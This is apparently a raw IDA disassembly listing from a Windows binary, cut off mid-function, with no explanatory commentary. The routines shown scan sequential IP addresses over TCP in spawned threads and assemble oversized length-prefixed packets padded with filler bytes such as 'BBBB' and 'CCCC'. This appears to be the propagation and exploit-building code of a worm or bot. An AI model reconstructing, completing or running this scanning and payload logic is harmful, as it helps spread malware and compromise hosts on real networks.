var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_14C]
		inc	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CDF20	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CE020[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40AAE8
		push	0Bh
		call	sub_40A372
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40B42F
		mov	esi, offset dword_4D0020
		push	esi
		call	dword_4240DC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4240D8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40B42F
		lea	eax, [ebp+var_1CC]
		push	offset unk_4350F4
		push	eax
		call	sub_4185E6
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40B419
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_408BC1
		add	esp, 14h


loc_40B419:				; CODE XREF: sub_40B361+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_413F3A
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40B42F:				; CODE XREF: sub_40B361+63j
					; sub_40B361+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_424078
		mov	edi, ebx
		mov	dword_4CE024[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40B4F1


loc_40B44D:				; CODE XREF: sub_40B361+18Aj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4350C0
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40A130
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_440E3C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40B14D
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_40B508
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_435088
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_413F3A
		add	esp, 10h


loc_40B4E3:				; CODE XREF: sub_40B361+1ACj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40B44D


loc_40B4F1:				; CODE XREF: sub_40B361+E6j
		cmp	[ebp+var_30], ebx
		jz	short loc_40B516
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_40B523
; ---------------------------------------------------------------------------


loc_40B504:				; CODE XREF: sub_40B361+1AAj
		push	1Eh
		call	esi	; Sleep


loc_40B508:				; CODE XREF: sub_40B361+159j
		cmp	[ebp+var_4], ebx
		jz	short loc_40B504
		jmp	short loc_40B4E3
; ---------------------------------------------------------------------------


loc_40B50F:				; CODE XREF: sub_40B361+1C0j
		push	7D0h
		call	esi	; Sleep


loc_40B516:				; CODE XREF: sub_40B361+193j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CE024[eax*8], 1
		jz	short loc_40B50F


loc_40B523:				; CODE XREF: sub_40B361+1A1j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CE020[eax*8]
		push	eax
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_435048
		push	eax
		call	sub_4185E6
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40B571
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_408BC1
		add	esp, 14h


loc_40B571:				; CODE XREF: sub_40B361+1F1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_413F3A
		mov	eax, [ebp+var_2C]
		mov	[esp+20Ch+var_20C], 0BB8h
		mov	dword_4CE024[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40A372
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40B5A8
		push	offset dword_4D0020
		call	dword_4240DC	; RtlDeleteCriticalSection


loc_40B5A8:				; CODE XREF: sub_40B361+23Aj
		push	[ebp+var_2C]
		call	sub_40A446
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread
sub_40B361	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B8	proc near		; DATA XREF: sub_40B685+7Bo
					; sub_40B776+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	10h
		rep movsd
		xor	esi, esi
		push	0
		inc	esi
		mov	[eax+0A8h], esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CDEE4	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CDF60	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40B676
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CDE90	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_440E44[ecx], esi
		jz	short loc_40B676
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		mov	edi, offset dword_4D09E0
		push	offset unk_435128
		push	edi
		call	sub_4185E6
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_408BC1
		push	edi
		call	sub_413F3A
		add	esp, 28h


loc_40B676:				; CODE XREF: sub_40B5B8+5Dj
					; sub_40B5B8+7Ej
		push	esi
		call	dword_4CDF78	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40B5B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40B685	proc near		; DATA XREF: sub_401AA1+5786o

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, dword_424078
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40B6B3:				; CODE XREF: sub_40B685+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_435150
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_440C38
		push	eax
		call	sub_418350
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40B5B8
		push	edi
		push	edi
		call	dword_42407C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40B71F
		jmp	short loc_40B71A
; ---------------------------------------------------------------------------


loc_40B716:				; CODE XREF: sub_40B685+98j
		push	32h
		call	esi	; Sleep


loc_40B71A:				; CODE XREF: sub_40B685+8Fj
		cmp	[ebp+var_C], edi
		jz	short loc_40B716


loc_40B71F:				; CODE XREF: sub_40B685+8Dj
		push	[ebp+var_4]
		call	dword_424068	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_419070
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CDE1C	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CDEE0	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_419070
		add	esp, 0Ch
		jmp	loc_40B6B3
sub_40B685	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B776	proc near		; DATA XREF: sub_401AA1+549Do

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_424078
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40B7A4:				; CODE XREF: sub_40B776+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_4351A4
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_440C38
		push	eax
		call	sub_418350
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40B5B8
		push	edi
		push	edi
		call	dword_42407C	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40B810
		jmp	short loc_40B80B
; ---------------------------------------------------------------------------


loc_40B807:				; CODE XREF: sub_40B776+98j
		push	32h
		call	esi	; Sleep


loc_40B80B:				; CODE XREF: sub_40B776+8Fj
		cmp	[ebp+var_8], edi
		jz	short loc_40B807


loc_40B810:				; CODE XREF: sub_40B776+8Dj
		push	[ebp+arg_0]
		call	dword_424068	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40B837
		inc	[ebp+var_2C]
		jmp	loc_40B7A4
; ---------------------------------------------------------------------------


loc_40B837:				; CODE XREF: sub_40B776+B7j
		push	[ebp+var_1C]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_435178
		push	eax
		call	sub_4185E6
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_408BC1
		push	[ebp+var_20]
		call	sub_40A446
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40B776	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B883	proc near		; CODE XREF: sub_40BAEF+Ep
					; sub_40BAEF+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40B883	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B88D	proc near		; CODE XREF: sub_40BAEF+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_418235
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40B8BF
		push	ebx
		push	0
		push	edi
		call	sub_4182F0
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_419070
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40B8BF:				; CODE XREF: sub_40B88D+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40B88D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8C7	proc near		; CODE XREF: sub_40B9B9+18p
					; sub_40BA33+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_418235
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40B913
		push	edi
		push	0
		push	esi
		call	sub_4182F0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_419070
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_419070
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40B913:				; CODE XREF: sub_40B8C7+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40B8C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B91C	proc near		; CODE XREF: sub_40B9B9+5Ep
					; sub_40B9B9+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40B92C
		push	eax
		call	sub_417E11
		pop	ecx


loc_40B92C:				; CODE XREF: sub_40B91C+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40B91C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B935	proc near		; CODE XREF: sub_40B9B9+20p
					; sub_40BA94+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40B95F
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_418235
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40B963


loc_40B95F:				; CODE XREF: sub_40B935+Dj
		xor	al, al
		jmp	short loc_40B9B5
; ---------------------------------------------------------------------------


loc_40B963:				; CODE XREF: sub_40B935+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_4182F0
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40B983
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_40B998
; ---------------------------------------------------------------------------


loc_40B983:				; CODE XREF: sub_40B935+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_40B998:				; CODE XREF: sub_40B935+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	sub_419070
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_417E11
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40B9B5:				; CODE XREF: sub_40B935+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B935	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9B9	proc near		; CODE XREF: sub_40BAEF+89p
					; sub_40BAEF+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CDDB0
		call	sub_40B8C7
		lea	ecx, [ebp+var_8]
		call	sub_40B935
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_418235
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40B9F3
		xor	al, al
		jmp	short loc_40BA2F
; ---------------------------------------------------------------------------


loc_40B9F3:				; CODE XREF: sub_40B9B9+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_4182F0
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_419070
		add	esp, 18h
		mov	ecx, esi
		call	sub_40B91C
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40B91C
		mov	al, 1


loc_40BA2F:				; CODE XREF: sub_40B9B9+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40B9B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA33	proc near		; CODE XREF: sub_40BA67+14p
					; sub_40BA84+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40B8C7
		mov	ecx, esi
		call	sub_40B91C
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40BA33	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BA67	proc near		; CODE XREF: sub_40BAEF+F0p
					; sub_40BAEF+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417D40
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40BA33
		pop	esi
		retn	4
sub_40BA67	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BA84	proc near		; CODE XREF: sub_40BAD0+Bp
					; sub_40BAEF+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40BA33
		retn	8
sub_40BA84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA94	proc near		; CODE XREF: sub_40BAD0+16p
					; sub_40BAEF+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40B935
		test	al, al
		jz	short loc_40BACD
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_4292C8
		call	sub_40B8C7
		mov	ecx, esi
		call	sub_40B91C
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40BACD:				; CODE XREF: sub_40BA94+Fj
		pop	esi
		leave
		retn
sub_40BA94	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BAD0	proc near		; CODE XREF: sub_40BAEF+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40BA84
		test	al, al
		jz	short loc_40BAEB
		mov	ecx, esi
		call	sub_40BA94


loc_40BAEB:				; CODE XREF: sub_40BAD0+12j
		pop	esi
		retn	8
sub_40BAD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAEF	proc near		; CODE XREF: .nsp0:0040C368p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40B883
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40BE33
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40BE33
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40B883
		lea	ecx, [ebp+var_20]
		call	sub_40B883
		lea	ecx, [ebp+var_50]
		call	sub_40B883
		lea	ecx, [ebp+var_18]
		call	sub_40B883
		lea	ecx, [ebp+var_40]
		call	sub_40B883
		lea	ecx, [ebp+var_38]
		call	sub_40B883
		lea	ecx, [ebp+var_28]
		call	sub_40B883
		push	4
		push	offset dword_4351DC
		lea	ecx, [ebp+var_30]
		call	sub_40BA33
		push	3
		push	offset dword_4351E4
		lea	ecx, [ebp+var_30]
		call	sub_40BA33
		lea	ecx, [ebp+var_30]
		call	sub_40B9B9
		lea	ecx, [ebp+var_30]
		call	sub_40BA94
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40BA33
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40BA33
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40BA33
		lea	ecx, [ebp+var_20]
		call	sub_40B9B9
		push	offset loc_435568
		lea	ecx, [ebp+var_50]
		call	sub_40BA67
		lea	ecx, [ebp+var_50]
		call	sub_40B9B9
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40B88D
		lea	ecx, [ebp+var_58]
		call	sub_40B9B9
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40BAD0
		lea	ecx, [ebp+var_58]
		call	sub_40B91C
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40BA67
		push	4
		push	offset dword_4351E8
		lea	ecx, [ebp+var_18]
		call	sub_40BA33
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40BA33
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40BA33
		lea	ecx, [ebp+var_18]
		call	sub_40B9B9
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40BA84
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40BA84
		lea	ecx, [ebp+var_40]
		call	sub_40BA94
		lea	ecx, [ebp+var_18]
		call	sub_40B91C
		lea	ecx, [ebp+var_50]
		call	sub_40B91C
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40BA84
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40BA84
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40BA84
		lea	ecx, [ebp+var_38]
		call	sub_40BA94
		lea	ecx, [ebp+var_20]
		call	sub_40B91C
		lea	ecx, [ebp+var_30]
		call	sub_40B91C
		lea	ecx, [ebp+var_40]
		call	sub_40B91C
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40BA33
		lea	ecx, [ebp+var_28]
		call	sub_40B9B9
		push	2
		push	offset dword_43555C
		lea	ecx, [ebp+var_28]
		call	sub_40BA33
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40BA84
		lea	ecx, [ebp+var_28]
		call	sub_40BA94
		lea	ecx, [ebp+var_38]
		call	sub_40B91C
		lea	ecx, [ebp+var_10]
		call	sub_40B883
		lea	ecx, [ebp+var_8]
		call	sub_40B883
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40BA84
		lea	ecx, [ebp+var_10]
		call	sub_40B935
		lea	ecx, [ebp+var_28]
		call	sub_40B91C
		push	offset dword_435558
		lea	ecx, [ebp+var_8]
		call	sub_40BA67
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40BA84
		lea	ecx, [ebp+var_8]
		call	sub_40B935
		lea	ecx, [ebp+var_10]
		call	sub_40B91C
		push	offset a0_0	; "0"
		lea	ecx, [ebp+var_10]
		call	sub_40BA67
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40BA84
		lea	ecx, [ebp+var_10]
		call	sub_40B935
		lea	ecx, [ebp+var_8]
		call	sub_40B91C
		push	offset dword_43554C
		lea	ecx, [ebp+var_8]
		call	sub_40BA67
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40BA84
		lea	ecx, [ebp+var_8]
		call	sub_40B935
		lea	ecx, [ebp+var_10]
		call	sub_40B91C
		push	(offset	loc_435547+1)
		lea	ecx, [ebp+var_48]
		call	sub_40BA67
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40BA84
		lea	ecx, [ebp+var_8]
		call	sub_40B91C
		pop	esi


loc_40BE33:				; CODE XREF: sub_40BAEF+1Bj
					; sub_40BAEF+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_40BAEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE45	proc near		; CODE XREF: sub_40BF09+A2p
					; sub_40BF09+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_424210	; select
		cmp	eax, edi
		jnz	short loc_40BEAC
		lea	eax, [ebp+var_10C]
		push	eax
